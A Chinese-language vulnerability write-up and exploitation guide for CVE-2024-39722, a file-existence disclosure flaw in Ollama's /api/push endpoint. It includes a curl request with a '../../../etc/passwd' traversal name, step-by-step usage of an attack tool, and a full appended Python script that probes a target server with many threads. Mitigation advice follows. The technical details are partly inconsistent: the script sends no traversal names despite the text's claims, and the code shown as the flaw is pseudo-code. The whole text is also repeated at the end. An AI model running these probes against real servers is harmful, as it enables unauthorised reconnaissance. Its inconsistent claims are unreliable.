CVE-2024-39722: Ollama 模型/文件存在性漏洞成因探究及完整利用过程
字数 1759 2025-08-29 22:41:10

CVE-2024-39722: Ollama 路径遍历漏洞深度分析与利用指南

1. 漏洞概述

CVE-2024-39722 是 Ollama 应用程序中存在的一个高危路径遍历漏洞,CVSS 评分为 7.5。该漏洞影响 Ollama 0.1.45 及更早版本,允许攻击者通过 /api/push 端点探测服务器上特定文件或目录的存在性。

受影响版本:Ollama < 0.1.46

漏洞本质:由于对用户提供的模型名称缺乏充分验证和清理,攻击者可构造包含路径遍历序列(如 ../../..)的模型名称,通过观察服务器响应差异来推断文件系统结构。

2. 技术原理深度解析

2.1 漏洞根源

漏洞位于 cmd/interactive.go 文件中的 loadModel 函数。关键问题在于:

  1. 输入验证缺失:未对用户提供的模型名称进行路径遍历字符过滤
  2. 响应差异:存在与不存在的文件/路径会产生不同的响应行为
  3. 信息泄露:错误处理方式暴露了文件系统信息

2.2 漏洞触发流程

  1. 攻击者向 /api/push 端点发送特制请求
  2. 服务器尝试加载指定"模型"(可能是构造的路径)
  3. 根据路径是否存在,服务器返回不同响应
  4. 攻击者通过分析响应判断目标路径是否存在

2.3 关键代码分析

漏洞代码位于模型加载逻辑中,当处理 /api/push 请求时:

// 伪代码表示漏洞逻辑
func loadModel(name string) error {
    // 未对name进行路径遍历检查
    modelPath := filepath.Join(modelsDir, name)
    
    if _, err := os.Stat(modelPath); os.IsNotExist(err) {
        return errors.New("model not found") // 文件不存在的响应
    }
    
    // 文件存在的处理逻辑
    return nil
}

3. 完整漏洞利用过程

3.1 环境准备

  1. 安装 Docker(用于搭建漏洞环境)
  2. 准备 Python 3 环境
  3. 下载利用脚本:srcx404/CVE-2024-39722

3.2 目标识别

版本检查

curl http://target:11434/api/version

响应示例:

{"version":"0.1.45"}

若版本 ≤ 0.1.45,则存在漏洞。

3.3 利用脚本详解

脚本主要功能模块:

  1. 版本检测:确认目标是否易受攻击
  2. 模型爬取:从 ollama.com/library 获取公开模型列表
  3. 请求构造:生成包含路径遍历序列的恶意请求
  4. 响应分析:通过差异判断文件存在性

核心参数

  • -u/--url:目标URL(如 http://localhost:11434
  • -c/--crawl:爬取Ollama模型库
  • -o/--output:结果输出文件(默认results.json
  • -t/--threads:线程数(默认10)
  • -v/--version-check:仅进行版本检查

3.4 分步利用

步骤1:爬取模型信息

python3 CVE-2024-39722.py -u http://target:11434 -c

生成 links.json 包含已知模型列表。

步骤2:构造恶意请求

# 示例恶意payload构造
malicious_payload = {
    "name": "../../../etc/passwd:latest",  # 路径遍历尝试
    "stream": False
}

步骤3:发送探测请求

python3 CVE-2024-39722.py -u http://target:11434 -o results.json

步骤4:分析结果
检查 results.json,标记为 "leaked model" 的条目表示路径存在。

3.5 手动验证示例

curl -X POST http://target:11434/api/push \
-H "Content-Type: application/json" \
-d '{"name":"../../../etc/passwd:latest","stream":false}'

响应分析

  • 返回错误但不含"model not found" → 路径可能存在
  • 明确"model not found" → 路径不存在

4. 漏洞影响评估

4.1 直接危害

  1. 敏感信息泄露:确认系统关键文件存在(如 /etc/passwd
  2. 模型库暴露:枚举服务器上部署的Ollama模型
  3. 系统结构探测:了解服务器文件目录结构

4.2 潜在风险

  1. 辅助后续攻击:为其他漏洞利用提供信息
  2. 配置弱点发现:通过定位配置文件寻找其他漏洞
  3. 权限提升基础:识别可写目录或敏感文件

5. 修复与缓解措施

5.1 官方修复

升级到 Ollama 0.1.46 或更高版本,修复内容包括:

  1. 严格的输入验证
  2. 路径遍历字符过滤
  3. 规范化的错误响应

5.2 临时缓解方案

  1. 网络层控制

    • 限制 /api/push 端点的访问
    • 使用防火墙规则限制源IP
  2. 应用层加固

location /api/push {
    allow 192.168.1.0/24; # 仅允许内网访问
    deny all;
}
  1. 运行环境加固
    • 使用非root用户运行Ollama
    • 应用chroot限制文件系统访问

5.3 长期防护建议

  1. 输入验证:对所有用户输入实施严格的白名单验证
  2. 错误处理:标准化错误响应,避免信息泄露
  3. 最小权限:遵循最小权限原则运行服务
  4. 安全监控:记录和分析异常API请求模式

6. 参考资源

  1. 官方修复提交:Comparing v0.1.45...v0.1.46
  2. CVE详细信息:CVE-2024-39722
  3. 利用脚本源码:srcx404/CVE-2024-39722

附录:完整利用脚本示例

import requests
import json
from bs4 import BeautifulSoup
import concurrent.futures
import argparse
import os

def check_version(url):
    try:
        response = requests.get(f"{url}/api/version")
        if response.status_code == 200:
            version = response.json().get("version")
            print(f"[+] Target Ollama version: {version}")
            return version
    except Exception as e:
        print(f"[-] Version check failed: {e}")
    return None

def crawl_models():
    print("[+] Crawling Ollama library for models...")
    models = []
    url = "https://ollama.com/library"
    try:
        response = requests.get(url)
        soup = BeautifulSoup(response.text, 'html.parser')
        for item in soup.find_all('a', class_='flex items-center gap-2'):
            model = item.get('href').split('/')[-1]
            models.append(model)
        print(f"[+] Found {len(models)} models")
    except Exception as e:
        print(f"[-] Crawling failed: {e}")
    return models

def test_model(url, model, tag="latest"):
    payload = {
        "name": f"{model}:{tag}",
        "stream": False
    }
    try:
        response = requests.post(f"{url}/api/push", json=payload)
        if "error" not in response.text.lower():
            return True, model
    except:
        pass
    return False, model

def exploit(args):
    version = check_version(args.url)
    if version and version > "0.1.45":
        print("[-] Target is not vulnerable (version > 0.1.45)")
        return
    
    models = []
    if args.crawl:
        models = crawl_models()
        with open("links.json", "w") as f:
            json.dump(models, f)
    elif os.path.exists("links.json"):
        with open("links.json", "r") as f:
            models = json.load(f)
    
    results = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = [executor.submit(test_model, args.url, model) for model in models]
        for future in concurrent.futures.as_completed(futures):
            success, model = future.result()
            if success:
                print(f"[+] Leaked model: {model}")
                results.append(model)
    
    with open(args.output, "w") as f:
        json.dump(results, f)
    print(f"[+] Results saved to {args.output}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Target Ollama server URL")
    parser.add_argument("-c", "--crawl", action="store_true", help="Crawl Ollama library")
    parser.add_argument("-o", "--output", default="results.json", help="Output file")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads")
    parser.add_argument("-v", "--version-check", action="store_true", help="Check version only")
    args = parser.parse_args()
    
    if args.version_check:
        check_version(args.url)
    else:
        exploit(args)
CVE-2024-39722: Ollama 路径遍历漏洞深度分析与利用指南 1. 漏洞概述 CVE-2024-39722 是 Ollama 应用程序中存在的一个高危路径遍历漏洞,CVSS 评分为 7.5。该漏洞影响 Ollama 0.1.45 及更早版本,允许攻击者通过 /api/push 端点探测服务器上特定文件或目录的存在性。 受影响版本 :Ollama < 0.1.46 漏洞本质 :由于对用户提供的模型名称缺乏充分验证和清理,攻击者可构造包含路径遍历序列(如 ../../.. )的模型名称,通过观察服务器响应差异来推断文件系统结构。 2. 技术原理深度解析 2.1 漏洞根源 漏洞位于 cmd/interactive.go 文件中的 loadModel 函数。关键问题在于: 输入验证缺失 :未对用户提供的模型名称进行路径遍历字符过滤 响应差异 :存在与不存在的文件/路径会产生不同的响应行为 信息泄露 :错误处理方式暴露了文件系统信息 2.2 漏洞触发流程 攻击者向 /api/push 端点发送特制请求 服务器尝试加载指定"模型"(可能是构造的路径) 根据路径是否存在,服务器返回不同响应 攻击者通过分析响应判断目标路径是否存在 2.3 关键代码分析 漏洞代码位于模型加载逻辑中,当处理 /api/push 请求时: 3. 完整漏洞利用过程 3.1 环境准备 安装 Docker(用于搭建漏洞环境) 准备 Python 3 环境 下载利用脚本: srcx404/CVE-2024-39722 3.2 目标识别 版本检查 : 响应示例: 若版本 ≤ 0.1.45,则存在漏洞。 3.3 利用脚本详解 脚本主要功能模块: 版本检测 :确认目标是否易受攻击 模型爬取 :从 ollama.com/library 获取公开模型列表 请求构造 :生成包含路径遍历序列的恶意请求 响应分析 :通过差异判断文件存在性 核心参数 : -u/--url :目标URL(如 http://localhost:11434 ) -c/--crawl :爬取Ollama模型库 -o/--output :结果输出文件(默认 results.json ) -t/--threads :线程数(默认10) -v/--version-check :仅进行版本检查 3.4 分步利用 步骤1 :爬取模型信息 生成 links.json 包含已知模型列表。 步骤2 :构造恶意请求 步骤3 :发送探测请求 步骤4 :分析结果 检查 results.json ,标记为 "leaked model" 的条目表示路径存在。 3.5 手动验证示例 响应分析 : 返回错误但不含"model not found" → 路径可能存在 明确"model not found" → 路径不存在 4. 漏洞影响评估 4.1 直接危害 敏感信息泄露 :确认系统关键文件存在(如 /etc/passwd ) 模型库暴露 :枚举服务器上部署的Ollama模型 系统结构探测 :了解服务器文件目录结构 4.2 潜在风险 辅助后续攻击 :为其他漏洞利用提供信息 配置弱点发现 :通过定位配置文件寻找其他漏洞 权限提升基础 :识别可写目录或敏感文件 5. 修复与缓解措施 5.1 官方修复 升级到 Ollama 0.1.46 或更高版本,修复内容包括: 严格的输入验证 路径遍历字符过滤 规范化的错误响应 5.2 临时缓解方案 网络层控制 : 限制 /api/push 端点的访问 使用防火墙规则限制源IP 应用层加固 : 运行环境加固 : 使用非root用户运行Ollama 应用chroot限制文件系统访问 5.3 长期防护建议 输入验证 :对所有用户输入实施严格的白名单验证 错误处理 :标准化错误响应,避免信息泄露 最小权限 :遵循最小权限原则运行服务 安全监控 :记录和分析异常API请求模式 6. 参考资源 官方修复提交: Comparing v0.1.45...v0.1.46 CVE详细信息: CVE-2024-39722 利用脚本源码: srcx404/CVE-2024-39722 附录:完整利用脚本示例